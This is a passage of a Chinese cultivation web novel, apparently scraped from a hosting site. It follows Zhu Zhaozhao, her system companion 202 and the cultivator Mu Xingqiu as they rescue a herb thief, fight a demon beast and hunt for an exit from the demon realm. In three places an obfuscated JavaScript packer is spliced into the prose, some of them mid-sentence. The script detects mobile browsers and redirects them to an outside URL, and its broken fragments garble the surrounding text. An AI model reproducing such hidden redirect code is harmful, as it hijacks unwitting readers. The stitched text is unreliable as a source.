慕行秋慢悠悠地:“他但凡有半分能力独吞,都绝无可能将异常之地透露与我一丝一毫。” “并且那地方应该有他闯不过的结界或魔兽镇守。” 小毯仔细盖住肚子,祝昭昭补充:“否则他不可能只拿出霜露藤让你鉴别。” “霜露藤还是依靠灵力丰沛之地生长的草药……” 剩下的话未尽,祝昭昭和慕行秋对视一眼。 再斟酌着开口:“今晚还是明早。” “今晚。” 食指轻抬,慕行秋慢条斯理:“但不急,你先好好休息。” 祝昭昭第一反应其实是想问慕行秋,他是不是忘了点什么。 比如说自己其实是一个修士,不睡觉也能活蹦乱跳的修士。 可盯着他从撩拨篝火到整理行囊,从清理身周杂草枯叶到…… “怎么了?”慕行秋问她。 “没事。” 近乎仓惶地避开朝自己望来的安静眼眸,终于反应过来自己刚才到底在干什么,祝昭昭懊恼地想撞墙:“今天走得太多,这会儿有点困。” “那便早些休息吧。” 手掌朝祝昭昭方向虚虚一拂,慕行秋温声:“稍后我会叫醒你。” 微风掠过周身,却感知不到凉意。身侧被清出一小片净地,祝昭昭找了个舒服的姿势靠在树干上:“谢了。” 慕行秋亦盘膝打坐:“你我不必言谢。” 就言。 悄悄在心底回完嘴,祝昭昭扯了扯毯子,阖上眼眸。 * 202的提醒赶在慕行秋之前。 打了个呵欠,祝昭昭选择在慕行秋的提醒下睁开眼:“现在是什么时候?” 慕行秋闻言抬眸,目光蜻蜓点水般在头顶圆月上掠过:“子时。” “子时好。” 祝昭昭伸懒腰:“月黑风高夜,杀……” “杀什么?” 身旁传来含笑的声音。 “……探路寻宝时。” 懒得和他多话,祝昭昭改口。 然后边叠小毯边小声嘟囔:“我不过开个玩笑,这么无聊干什么。” 话音才落,祝昭昭忽然听见‘啵’的一声轻响。 下一秒,所有被隔音结界屏蔽多时的声音,都如潮水般涌入她耳中。 再然后,慕行秋散漫随意如闲聊般的话语,在她的脑海里响起—— “说说。” “今晚杀谁?” 125. 我的刀剑确实无眼 袖口下的手来回捏紧又松开,祝昭昭死鱼眼盯着眼前人半晌后,终于开口—— “……你说什么?” “我说。” 依旧笑眯眯地,慕行秋薄唇轻启,一字一句:“你要杀谁,” “告诉我,我可以替你动手。” 听着他甚至故意坏心眼加重的语气,祝昭昭当然知道他不会动手。 这家伙纯粹拿自己开涮而已。 但他越是这样胸有成竹,祝昭昭就越是不爽。 所以她也不准备让他爽:“那你自裁。” 话出口,祝昭昭顿时觉得自己这句回嘴简直是神来之笔。 连带着自觉在刚才的交锋里落了下乘的不爽,也一扫而空:“我心善,见不得素昧平生的人死在我面前,但你非要问我挑一个人去死……” “那就你吧。” 她振振有词:“这样即不违背我们修士不滥杀无辜的信念,又能让你的话完美实现。” “真称得上一句两全其美。” 话到最后故意垂首抬眸,祝昭昭对着慕行秋眨眨眼,语气无辜:“你看,我是不是很听你的话?” 唇边弧度微弯,慕行秋静静注视着眼前狡黠灵动的少女。 直到少女眼底闪过一抹无聊,他才终于回过神,赶在她有所动作之前,先一步动起来—— 看着鬼魅般闪现在离自己仅有数步之遥距离的慕行秋,祝昭昭吓了一跳。 而原本只是略微警惕的神情,在注意到他掌心飞掠的一抹银光时,瞬间化作浓浓惊诧:“你做什么?!” “做什么?” 饶有趣味地嚼了一遍祝昭昭的话,慕行秋轻轻抬手:“你不是要听我的话么。” “那么……” 衣袖随着他的动作滑落,其下遮掩的修长小臂与骨节分明的手,随之落入祝昭昭眼中。 月光下,那小臂与手掌,显现出一种异样的苍白。 但比它们更苍白几分的,是他拇指与食指之间,泛着寒光的银刃。 刀刃?? 拿这东西出来干什么?? 这家伙真吃错草药了?? 震惊之下,祝昭昭努力组织语言:“刀剑无眼,这么危险的东西不要拿出来乱晃,你……” “刀剑确实无眼。” 慕行秋很自然地接过她话头:“所以,它需要一双能给它目标的眼睛。” “你不是要杀我么?” 食指轻轻摩挲薄刃的背面,他言笑晏晏:“试试?” 已经被此等惊世发言雷得失语,祝昭昭边后退,边准备找个地方先溜:“要这样你下次别没事乱吃草……” 下一秒,她微凉的指尖猛地被人握住,温热的触感随之传来。 被这温度激得下意识抬头,祝昭昭眼睁睁瞧着慕行秋借着交握的手欺身而上,贴到自己近前。 “真的不试试么?” 他说着,指尖薄刃恶作剧般轻晃。 反射的光芒恰好落在他脸,映亮他清隽的眉眼,却也将那带着着坏心眼的薄唇弧度,藏在阴影中。 他停在祝昭昭面旁,姿态如耳鬓厮磨。 “我会,听你的。” 最后这一句如暮鼓晨钟,祝昭昭终于穿过似乎已经浓到让她透不过气的月清花香,醒过神来。 不再犹豫,她捏紧拳头,抬手—— * 由慕行秋带路,两人很快出发。 刻意落了慕行秋几步,祝昭昭臭着脸走在他后面。 202偷眼瞧她脸色:“主人。” 祝昭昭没搭理它。 哪敢强求她回话,202继续小小声地自言自语:“我们问都不问,就这样跟着大反派走吗?” “那你去问。”祝昭昭言简意赅。 “哎呀,我不是那个意思!” 弹出地图以增加自己话的可信度,202朝祝昭昭示意上面闪着的红光:“主要是前面好像有点小麻烦,你们确定……” “右转。” 祝昭昭忽然开口,语调和她的死鱼眼一样了无生气。 202被吓一跳,看看慕行秋又看看祝昭昭:“主人你这样大反派不会搭理你——” 下一秒,走在前面的慕行秋很听话地,将脚步调转到了右边。 瞳孔地震的202:…… 等等,谁能告诉它,现在正在发生什么?? 眼睁睁看着地图上代表危险的红点离他们越来越远,202终于回过神来。 它犹不敢信:“主人,大反派这什么情况??” “如果我没记错,他对你说的那个方位道路,可是完全不知情的诶。” “他就这么听你的,乖乖调转方向了??” 话到最后音量骤然拔高,202长长的机械手臂一把拍在外视窗口上:“主人你确定不查一下大反派这家伙的脑子,是不是尝百草尝坏了吗?!” 不耐烦地揉揉被202吵得生疼的耳朵,祝昭昭的回答,是很干脆的一道电击。 再面无表情地继续对着前方人影道:“再右转。” 慕行秋依旧没有出声,而是沉默地调转了方向。 然而轻巧的脚步,透露出他丝毫没有被祝昭昭指使的不快。 反而更像是…… “享受!” 202从地上一骨碌滚起来:“大反派很享受被主人你支使!” “而且大反派刚才扭头的时候,主人你有没有注意到他的脸?” 几乎能从202的语气里想象出它那副八卦的表情,祝昭昭努力控制自己的白眼:“没有。” 202惋惜摇头:“那主人你真应该看看。” 电击键下的手指又开始蠢蠢欲动,祝昭昭忍火:“为什么。” “因为他颧骨上的青黑还在!!” 202一脸‘天呐有人能想象吗’的表情:“大反派可是修为高深的化神期修士诶,脸上竟然留伤了!” “主人你刚才下手也太狠了。” 她下手狠?? 祝昭昭一时语塞。 虽说她下手的时候确实用了点力气,但她真是请问了,慕行秋是化神期修士好吗?? 只要他不想,她根本打不到他;哪怕打到了,她刚才那一拳不掺半点灵力,就算用上十成力,也不会伤到他分毫好吗?? 谁会想到他不仅结结实实受了那一拳,还硬是让伤留下来了?! 他是真不知道自己脸青了还是装不知道自己脸青了? 懒得再想,祝昭昭收起乱七八糟的思绪。 202贱兮兮的自言自语,紧接着就传进她耳朵里—— “不过,带伤的大反派还怪性感的嘞。” 脑子里最后一根弦‘蹦’声断掉,祝昭昭毫不犹豫按下电击键。 但不忘出声提醒前方的人:“再左转,右边有火炎蜂。” 很快随着祝昭昭的话调转方向,慕行秋边走,边语气散漫道:“方才刘友问药时与我抱怨过,他差点被火炎蜂蛰到。” “原来便是在这。” 这会儿心情还不是很愉快,祝昭昭相当敷衍地‘嗯''了一声,权当是回答。 慕行秋也不恼,依旧好声好气:“看来散修对探查地势,的确有些独门的手段。” 闻言终于忍不住翻了个白眼,祝昭昭一脚踢飞脚下的石子:“我们离那处地方还有多远。” “不远。” 掀开前方被藤叶遮蔽的道路,慕行秋淡声:“再走一里便是。” 从善如流地从慕行秋掀开的藤叶下走过,祝昭昭顺嘴问他:“按刘友告诉你的,原本的路大概需要多久才到?” “一刻钟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拍拍202的脑袋以示鼓励,祝昭昭盯着光幕:“所以这地方有异常吗。” “异常的话……” 自言自语着,202开始操作。整片光幕很快变成绿色,又过了两分钟,一处慢慢变红。 202指着那点红:“主人,看这里。” “这里确实有问题。” 顺着202手指的方向看过去,祝昭昭沉声:“告诉我红点在外面的具体位置。” 202看了一会儿:“从主人你们现在站着的地方往南走五百米,看到一块小石碑就是了。” 祝昭昭闻言立刻要离开精神空间,这当口202在她身后提醒—— “对了,石碑旁边有一颗小花。” 比了个‘ok’的手势,祝昭昭离开精神空间。 “往南。” 祝昭昭说完,自己率先往南边走。 而她走得太急,因此没有注意到身后的慕行秋望着自己时,眼底一瞬闪过的复杂神情。 * 没费什么功夫就找到小石碑。祝昭昭边听着身后的脚步声,边伸出手想摸碑边小花:“你有没有……” 下一秒,突然有巨响从远处传来。 脚下都因为这巨响颤动起来,一片草木连响中,祝昭昭立刻站起,很快便发现震颤竟在朝自己所站的方向扩大! 她怵然一惊,下意识朝身后扭头—— 下一秒,灵力缠上腰间,她整个人被带着落进一个怀抱。 如安抚般的声音,也响起在耳边。 那声音说。 “莫怕。” 126. 没事,他看起来还好 谁怕了?! 先是一惊,紧随而来的就是排山倒海的恼怒。气得一下从慕行秋怀里直起身来,祝昭昭梗着脖子:“我只是突然没反应过来,不代表我躲不开!” “谁叫你来那么快的?!” 气昏头的祝昭昭,完全没察觉自己这话有什么问题。 她精神空间里全程围观的202却看得清楚。 屏幕里的电子眼也因此瞪得格外大。 因为如果它没分析错的话,刚才它的主人,它那么大一个的主人。 是在乱发脾气。 在明知道大反派做得没问题的情况下,主人她居然在对大反派发脾气…… 越想越觉得两人间的相处似乎开始变得有那么一点点不对劲,202神色凝重。 怎么办,它该装不知道吗? 因为主人看起来好像不知道…… 202:拿烟的手,微微颤抖·jpg 202在精神空间里天人交战的当口,精神空间外也格外热闹。 哪怕祝昭昭动作奇大,慕行秋的身形也依旧不动如山得稳。 甚至语调都平静:“我并未觉得你不能躲开,不过……” 话未尽,人已落地。慕行秋将祝昭昭轻轻放下:“我方才若是再慢一步,你此刻不一定会有性命之危。” “但其他的,就很难保证了。” 祝昭昭闻言,很快朝自己刚才站着的地方望过去—— 只见漫天尘烟散尽后,地面裂开了一道巨大的缝隙。 而她刚才站着的地方旁边,小石碑已经消失无踪。 只剩黑黢黢的裂缝静静敞着,半点其他东西都瞧不见。 可想而知那裂缝该有多深。 思忖着,目光从那足以容纳四五个人掉下去的裂缝处收回。祝昭昭抿紧唇,最后发泄似地往边上走了数步远。 嘴上语气却还是缓和了很多:“……谢了。” 慕行秋好笑地瞧了眼两人间的距离:“不客气。” 话音刚落,地面再度剧烈震颤起来。 而与刚才略有差别的是,这次震颤,伴随着惊天动地的兽吼。 视线不约而同地掠过鸟雀惊起的方向,两人沉默对视。 再由祝昭昭率先开口:“你刚才没盯住他。” 慕行秋倒也坦然:“是,” “因为当时除我们这边外,剩下的所有气息都聚集在一处。” 这是默认刘友在队伍里的意思。 祝昭昭本来也没想责怪谁:“加上我们并未按照原路走,而是为了避开危险走了其他路……” 剩下的话没说完,两人再度对视一眼。 祝昭昭朝声音来源一抬下巴:“你去我去。” 仿佛响应一般,男人粗粝的惨叫声划破夜空,又被再度响起的暴躁兽吼压下。 听着那隐隐渐近的兽吼声,慕行秋摇了摇头:“你去罢。” 没再多话,留下一句‘你自己注意点’,祝昭昭身形一闪消失在原地。 目光从她消失的方向收回,慕行秋轻抬起手,自身边树上折下一根枝。 * 有声音有气息,几乎没费什么功夫,祝昭昭就来到了刘友所在之处。 而彼时的刘友正被妖兽追着咬。 妖兽身形巨大,跑动起来动静之大,撞得树干截断,砂石横飞。 而刘友,则在一片混乱中艰难躲避,不时还要被飞到脚边的东西绊得趔趄,看起来相当狼狈。 吃瓜围观的202‘啧啧’两声:“主人,你不救他吗?” “当然要救。” 祝昭昭好整以暇地靠在树干上:“不过,他现在情况看起来不是还可以么。” “那再等等也无所谓。” ‘情况还可以’? 听着下方接连不断的轰隆声响和刘友的惨叫,202沉默。 果然,惹谁都不能惹它的主人。 似乎是体力已经消耗殆尽,刘友叫声越来越小,跑得越跑来越慢,眼神也逐渐迷离,以至于妖兽蹬飞的碎石块朝他射/去时,他都只是迷迷瞪瞪地看着,半天没跑开。 眼看碎石即将让刘友脑袋开花,祝昭昭终于动了。 顺手从身侧折下一截断枝朝妖兽眼睛弹去,她足尖轻点向树干借力,如一阵风般落在刘友面前。 混沌的神思在看见祝昭昭的瞬间清明,吓一跳的刘友下意识大声骂她:“快滚开!没看见这妖兽发狂了吗?!” 他话音才落,妖兽再次重重抬起前蹄又跺下。 巨大的震颤让他不受控制地东倒西歪起来,飞沙碎石,草木断枝亦纷纷扬扬砸落。 妖兽则怒吼着,张大嘴巴咬向两人。 见状顿时吓得魂不附体,刘友转身,手脚并用地想跑—— 却被祝昭昭一把揪住后脖颈。 没想到祝昭昭一个纤瘦的姑娘,手却如铁钳一般让他挣脱不得,刘友声音都吓变了调:“赶紧放开我,你想死我还想活!!” “想活,你动它护着的灵草干什么。” 提溜着刘友脖领,祝昭昭不紧不慢地开口:“那是它进阶要用的灵草,你采走了,它怎么可能放过你。” 被点出心中所藏秘密,刘友顿时恼羞成怒地猛转过身:“一只妖兽进什么阶!它进阶了以后进山的人怎么——” 看着瞠目结舌的刘友,祝昭昭问他:“看什么看。” “继续说。” 视线从不得寸进的妖兽,移到祝昭昭折返向后,点在结界上的手。刘友哪还说得下去:“你,你……” “你什么。” 身后妖兽不断撞击防护结界的震动传来,祝昭昭语气仿佛在闲聊:“再不把仙草交出来,我不保证你能活着回去。” 话落,威胁般轻轻用维持结界的食指绕圈,她松开抓着刘友后脖领的手:“一,” 禁锢解除的刘友拔腿就跑。 眼皮都没抬一下,祝昭昭松开的手虚握:“二,” 刘友当场跪在地上。 颤抖着爬起来面对祝昭昭,他终于满脸惊恐:“你到底……” “三。” 虚握的手翻转,祝昭昭食指轻勾:“好好说话不听,非要我动粗。” 淡青色的仙草从刘友怀里飘出,祝昭昭控制其飘向妖兽。 仙草靠近,原本暴躁的妖兽立刻安静下来。 一口叼住那淡青色仙草,它飞快离开。 妖兽踏出的轰隆声里,祝昭昭在刘友不远处蹲下身:“喂,你。” 刘友先是一怵:“草药你已经拿走了,还想怎么样?!” 接着恼怒咬牙:“你这臭丫头,装普通人骗了大家那么久!回去之后我一定要告诉绣坊掌——” 以灵力封住刘友嘴巴,祝昭昭摇头:“好心捞你一条命,你却还要告我黑状。” “你这人真是烂得无药可救。” 两手一拍膝盖站起身,祝昭昭几步走到刘友近前。 并在他惊恐的目光里,朝他张开手。 “醒来以后,自己去找队伍。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336397|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 下一秒,刘友软倒在地。 懒得再把注意力放他身上,祝昭昭转身。 没什么表情的看着面前的一片狼藉,她叉腰:“202。” “我在我在。” 积极响应完,202略嫌弃地斜了眼地上的刘友:“是要处理他吗?” “没那么闲。” 祝昭昭语气淡淡:“我是要你扫描一遍,这里有没有能出魔界的通道。” “如果没有,我们现在就回慕行秋那边。” “好的好的。”闻言立刻答应下来,202很快调出搜索界面。 再整颗球晃了晃:“没有哦主人,这边没有发现类似的能量场。” 并不怎么意外听到这个答案,祝昭昭微微颔首:“行,我知道了。” “探测模式继续开着。” 正准备按关闭键的202:“诶?” “从这里到慕行秋所在区域并不远,” 环胸的手在臂弯轻敲,祝昭昭神色若有所思:“那么这个范围内的任何地方都有可能是突破点。” 202也很快明白过来:“所以一直开着,就不会有漏掉突破点的问题。” “走吧。” 望着慕行秋所在的方向,点点灵力绕上祝昭昭指尖:“如果我没感知错,慕行秋那里可能有点小麻烦了。” 话音落,指尖上的灵力骤然扩大将她包围。 下一秒,她周身景色变幻,已然是回到了方才和慕行秋分开的地点。 再被眼前的一片狼藉惊到。 “什么情况?” 抬头就瞧见半空中的两道残影,祝昭昭刚刚张口,慕行秋的精神传音,就已经响起在她脑海中—— “不要靠近。” 不要靠近? 祝昭昭怔住。 意思是让她不要往结界里闯,在外面围观就行了吗? 祝昭昭没有回答。 视线从半空收回,她先是抬手,轻触上面前的无形屏障。 旋即猛地捏紧拳头,高抬手臂,再重重落下—— 然后整个人顺利穿过了结界。 一瞬间,所有被结界掩盖的声响涌进耳朵。 只当刹那闪过的叹息声是错觉,进入结界的祝昭昭很快做了第二件事。 在慕行秋的结界里,再次覆盖了一层防护结界。 对上半空朝自己望来的视线,祝昭昭两手叉腰,脸上挂笑:“我布结界隔音,你省灵力动手,很合理对不对?” 慕行秋没说话。 但不妨碍祝昭昭没事人一样继续:“反正我是不会收回结界的,你如果不觉得浪费灵力的话,也可以继续维持结界。” “不过呢……” 微微侧身避开妖兽误扫来的风刃,祝昭昭不紧不慢:“我是觉得,你还是省着点灵力用更好哦。” “毕竟这只妖兽可是相当不好对付的。” 祝昭昭依旧没有听到回答。 但是很快,她就发现结界外突然多了许多雪花般的灵力碎片。 而随着灵力碎片化作道道流光回到慕行秋身上,他挥剑的姿态都变得更加行云流水。 只是那骤然凌厉起来的剑风,怎么看都不像是灵力得到补充后,急于结束战局,倒更像是…… 吃瘪了在耍脾气? 意识到这点,祝昭昭望着半空的背影眨眨眼,硬生生憋住笑。 怎么办,有点可爱…… 生怕再看真要笑出声来,她眨眨眼,抿紧唇转移注意力。 127. 慕行秋那边有危险 刚才来得急,且一到地方就开始和慕行秋争结界布置权。 这会儿‘权力争夺战’尘埃落定,祝昭昭终于得以仔细观察目前的情况—— “主人你说,” 手里正抱着包不知什么东西在嚼,202通过视力共享,和祝昭昭一起围观战局:“如果换算成修士修为,这只妖兽的等级在什么水平?” 祝昭昭斜倚结界:“元婴后。” “元婴后期啊?” 立刻将反馈视野中慕行秋那部分放大,202夸张地拿腔捏调起来:“那大反派目前的架势看起来好像不太行哦。” 包装袋里抓一把又是一大口,它边嚼边做思考状:“毕竟我记得大反派这会儿,已经算是化神初期了吧?” “那记得慕行秋化神初期之前,” 同样能通过共享视野查看202的情况,听见声响的祝昭昭扫它一眼:“你知不知道我们现在在什么地方?” “魔界啊。” 202答得相当理直气壮:“大反派进修反派课程的地方嘛。” 进修什么进修?! 听得一口气差点没吸上来,祝昭昭深深闭眼:“你既然知道这里是魔界,那你不知道慕行秋现在还是修士?” “他倒是可以放开出手,可后果是?” 边听边偷偷掏包装袋,但这次,自觉心虚的202动静小了很多:“哎呀,那我就是开个玩笑嘛。” “我当然知道大反派在这里暴露很危险啦。” “你知道个屁。” 祝昭昭翻白眼:“如果直到从这里离开为止,慕行秋的状态都能保持稳定,我们的任务就基本可以宣告成功了你知不知道?” “知道知道我知道。” 202猛点头,试图亡羊补牢:“所以我们现在最该做的,是尽全力帮助大反派保持状态稳定不入魔。” 本以为自己这番话说得一定完美无缺,然而出乎202预料的,祝昭昭没有第一时间认同它的话。 而是半晌才开口—— “是,也不是。” 目光不自觉落在半空人影,祝昭昭若有所思。 202听迷糊了:“主人,什么是不是的。那到底是还是不是啊?” 被这堪称需要重新做入职培训的发言气得翻白眼,祝昭昭努力忍火:“首先,并不是保持幕行秋状态稳定,他就一定不会入魔。其次,” “你要知道我们现在在魔域,这样的环境下慕行秋哪怕入了魔,也可以被遮掩得很好。我们不一定能第一时间发现。” 她环胸的手在臂弯不断轻敲:“而只要我们不是第一时间注意到,那之后再怎么发现,也意义不大了。” 包装袋里又是一掏,202似懂非懂:“所以那按照主人你的说法,我们现在到底应该怎么做呢?” “尽可能减少刺激。” 祝昭昭眸光沉沉:“因为至少现在,我可以确定慕行秋的状态还没有问题。既然这样,那我们就尽量盯着他就好。” 202点点头:“明白了,所以这就是主人你宁愿自己消耗大量灵力,也要代替大反派布下防护的原因?” “防止他超负荷使用灵力暴走?” 目光不自觉落在半空,祝昭昭沉默。 直到自觉无聊的202开始自娱自乐哼小曲,她才轻轻张口:“……是吧。” 只听到最后一个语气词的202:“主人你说什么?” “我说。” 祝昭昭斜睨它:“从刚才开始你的嘴巴就没停过,你在干什么?” “瞎,主人你说这个啊。” 202机械手臂一扬:“当当!” 扫一眼它手上银白色的包装袋,祝昭昭死鱼眼:“这是什么。” “薯片。” “你一个系统怎么吃薯片。” “这是新组件的功能哦。” “……” 202一脸‘这个主人就是逊啦’的表情:“而且这个薯片是薯片造型的内存,不是真薯片。” 它把包装袋晃得哗啦啦响:“但是真有薯片的味道哦。” “主人你要试试吗?” “……?” 一人一机说话的当口,空中忽然炸开一道雪亮剑光。 祝昭昭一惊,下意识抬头,便见原本还打得不可开交的慕行秋和妖兽,此刻已然分开。 比起妖兽血肉模糊的狼狈,慕行秋则依旧是那副平静淡然的模样。 望着他手中纤尘不染的长剑,202‘哇’了一声:“诶诶诶,刚刚大反派不是还落在下风嘛,就这么一会儿就翻盘了嘛?” “看来还真是不能小看了大反派哦。” 说半天却没听见祝昭昭接话,后知后觉有哪里不对劲,202选择切换视角去看她反应。 这才发现祝昭昭此刻正皱紧眉头,脸色也阴沉得几乎可以滴出水来。 立刻缓下语气,它小心翼翼:“怎,怎么了主人,你脸色为什么那么难看啊?” 没有回答202,而是死死盯着半空。抓住慕行秋挥起长剑的刹那,祝昭昭扬声:“右眼下方三寸!” 她话音落下的瞬间,慕行秋手中原本朝着妖兽下腹的长剑一闪,径直刺向妖兽右眼下方。 血色自妖兽眼下喷出,嚎叫声旋即响彻结界。 而原本面色平静的慕行秋,身上气息也一瞬紊乱。 手一扬,薯片差点飞出来,202仿佛发现了新大陆:“啊!大反派竟然是在硬撑!” 地面因此被震得不断摇晃,祝昭昭堪堪定住身形,继续死盯住半空重新交战在一起的一人一兽:“右足正中,穿透它!” 相当刁钻的位置。 妖兽移动快速,几乎眨眼就会飞离原位,想要刺伤已是极难,准确穿透更无异于登天。 也因此202听完,都难得帮慕行秋说话:“主人你说什么呢,这定位想让大反派穿透,也太难……” 下一秒,嚎叫声震耳。 妖兽纤细的右足已然多了个手指大小的洞。 目瞪口呆的202:……?! 真就刺穿了?! 狠狠‘嘶’了一声,202犹不敢信:“不是……手指粗细的洞,不可能是用剑吧?那是用什么穿的?!” 破空之声打断202思绪,切换视角到半空中,它这才发现慕行秋右手已将长剑背在身后。 取而代之的,是他两指并拢,横于胸前的左手。 “左翼根部两寸!” 这当口,祝昭昭话音再响。 几乎是下个瞬间,慕行秋手腕翻转,并拢的两指分开,拇指抵住中指轻弹,一道剑气便闪电般射向妖兽左翼。 剑气速度之快,妖兽甚至还来不及反应,左翼已经被撕裂掀开,露出根部薄弱之地。 羽翼被掀,失去平衡的妖兽怪叫一声,就要扇动羽翼以恢复身形稳定。 也就在这电光石火间,下一道剑气紧随而至。 血液刹那飞溅,那祝昭昭点名的左翼根部两寸,分毫不差地被撕开。 此情此景,让全程围观的202都忍不住惊叹出声:“好厉害!” 祝昭昭却没空应它。 因为她很清楚,慕行秋此刻的状况并不好,甚至可以说越来越差。 他必须速战速决。 袖下拳头无意识捏得更紧,祝昭昭抿紧唇,更专注地盯住半空的妖兽,以便第一时间提示慕行秋。 一人出声一人动手,两人配合得愈加完美,几乎已经到了剑随声至的程度。 而原本攻势猛烈的妖兽,也在道道直击弱点的剑光下逐渐露出力竭之态,仿佛只要再补上最后一剑,就会死亡。 202当然发现了这点:“主人快快快,再给那个妖兽最后一下,我们收拾收拾就可以回去了!” 祝昭昭:“嗯。” 注意力全部在妖兽那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344814|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,加上祝昭昭答应的声音很正常。 202因此没有发现,她不知何时搭上结界的手此刻正越收越紧,直到指节泛白,爆出青筋。 灵力与精神的双重剧烈消耗,让祝昭昭的状态急转直下。 “主人主人,那只妖兽又要动了!” 如同狂风破开迷雾,202响亮的声音,将祝昭昭逐渐迷蒙的神智猛然拉回。 深呼吸让冰冷的气息刺激头脑清醒,她全力将视线在妖兽身上聚焦:“它想攻击你左肩死角,你——” 视野突然变得一片鲜红,祝昭昭感觉有什么东西忽然从眼角滑落。 紧接着,她听见202惊叫。 “啊,主人你眼睛流血了!!” 流血? 痒意后知后觉传来,祝昭昭抬手抚上面颊,又在碰到微湿的触感后收回手。 指尖上,几颗嫣红血珠静静停留。 时刻听着她提示的慕行秋,当然也第一时间察觉到她戛然而止的话音。 于是他垂眸,望见她眼中血痕。 再立刻判断出,这是她灵力消耗太过的表现。 可明知她的问题所在,也清楚如何该处理,甚至知道她的问题再拖一会儿再处理,也不会有什么大碍。 他却突然发现自己没法冷静了。 想下去,想到她身边,想立刻帮她拂去血迹替她疗伤—— 可妖兽就在眼前,只要他稍微失守,就会立刻暴动反击。 所以他应该再坚持留在这里一会儿,再听她几句提示,再同眼前的妖兽走几招,一切就可以结束。 此刻他却无论如何,都不想再留在这里。 按捺住内心叫嚣得越来越响的烦躁,慕行秋忽然感觉手里一坠。 这才发觉掌心剑不知何时,已经松得几乎要脱手。 重重捏紧剑柄直到痛感传来,下一秒,慕行秋闪身出现在妖兽身后。 * 防护结界骤然波动,让祝昭昭涣散的意识一瞬聚焦。 大脑的眩晕感让所有感知不受控制地紊乱,她猛地挥臂将指尖血珠甩开,咬牙抬头。 却发现半空一人一兽两道身影已经不见。 强忍住太阳穴传来的抽痛,她皱眉:“人呢?” 202立刻回答:“大反派刚才不知道为什么,一下子闪现在妖兽身后把它带走了!” 祝昭昭眉头皱得更紧:“他是不是疯了,他以为能自己解决那只妖兽?” “虽然但是,” 见祝昭昭脸色不对,202小声:“那只妖兽不是只差最后一口气了嘛?” “只差最后一口气,不代表这口气随便就能灭掉!” 重重按了按太阳穴,祝昭昭语气极差:“那只妖兽是爆发型的,一旦把它逼到绝境,如果不能一击置它于死地,它就会狂化。” “短期实力甚至可以提升到元婴巅峰!” 话落狠狠一锤结界,祝昭昭直接从系统里拿恢复药吃:“不行,我现在就要过去看看。” 结界被收起的同时,她也定位好慕行秋离开的方位。 却就在这时,202略带犹豫的声音在祝昭昭身后响起。 “可是主人,” 它说:“能量探测仪显示这里有异常能量点分布。” 脚步猛地顿住,祝昭昭没有回头。 摸不准她意思,202只能继续:“如果没猜错,突破口应该就在这里。” “主人你确定要走吗?” 一瞬,又似乎过了很久。 祝昭昭望着眼前被灵力扫掠,一片狼藉的景象。 她控制不住地想,如果自己不在,慕行秋独自战斗会不会很艰难。 可仿佛被无限拉长的时间里,她半抬的脚步,最后却一点一点放下。 转身,祝昭昭脸上表情已经恢复平静。 开口,她听见自己在说。 “告诉我地点。” 128. 他或许应该感谢这只畜生 “在这里在这里。” 虽然祝昭昭脸上表情很平静,但深知暴风雨前的平静才是最可怕的,202丝毫不敢怠慢。 它边说边带路:“刚才大范围扫描的时候,我只是感觉有一点不对劲。” “但经验告诉我,那点不对劲肯定很重要。所以我想了一下,决定重点去排查那点不对劲。” 说着,带了些刻意地加重‘经验’两个字的语气,202偷眼去瞧祝昭昭的表情:“最后赌对了。” 早就察觉到了202的目光,也知道它本意其实是想让自己高兴点。于是祝昭昭淡声:“嗯。” 202立刻高兴起来:“那地方可隐蔽了,如果不是重点排查,很容易就会被忽略掉的!” “就在这里哦!” 脚步随着202的话音一同停下,祝昭昭垂眸,直接在眼前的一片狼藉里,锁定了某个地方。 那是一处石壁。 说是石壁,实则用山体表面来形容更为贴切。 而其坚硬而嶙峋的表面,早已经在刚才慕行秋与妖兽的大战里,被剑气与妖风毁得看不出原样。 轻触上石壁的指尖轻轻游走,祝昭昭缓缓开口:“这座山没有空腔。” “是的。” 202跟随祝昭昭的指尖:“也正因为这样,才显得突破点不好找。” “毕竟提起‘通道’,大家都习惯性会觉得有空间才算通道嘛,那像这样的实心山体,当然很容易被忽略啦。” 说着,202额间菱形亮起:“不过没关系,反正我们现在找到了。那主人,我现在把位置定位给你吧?” “不用。” 出乎预料地,祝昭昭拒绝了它。 菱形闪烁后熄灭,202眨眨眼:“为什么啊主人?” 动作在遇见尖锐的石块时停下,祝昭昭翻转手腕,看着指尖很快渗出的血珠:“因为那个点,就在这里。” 听完先是一呆,202回过神来后,立马调出地图。 再发现新大陆一样叫起来:“哇,真的诶!” “主人你好厉害!!” 抬起的手猛一下顿住,祝昭昭被202这通哄小孩儿式发言弄得有些无语。 但郁结的心情倒确实松快了不少:“不过非空腔通道想打开,确实有点麻烦。” “那主人你打算怎么做呢?” 202积极搭腔:“如果让我提意见的话,我会建议主人你直接把宗主或者长老,再不济把主角们召唤过来。” 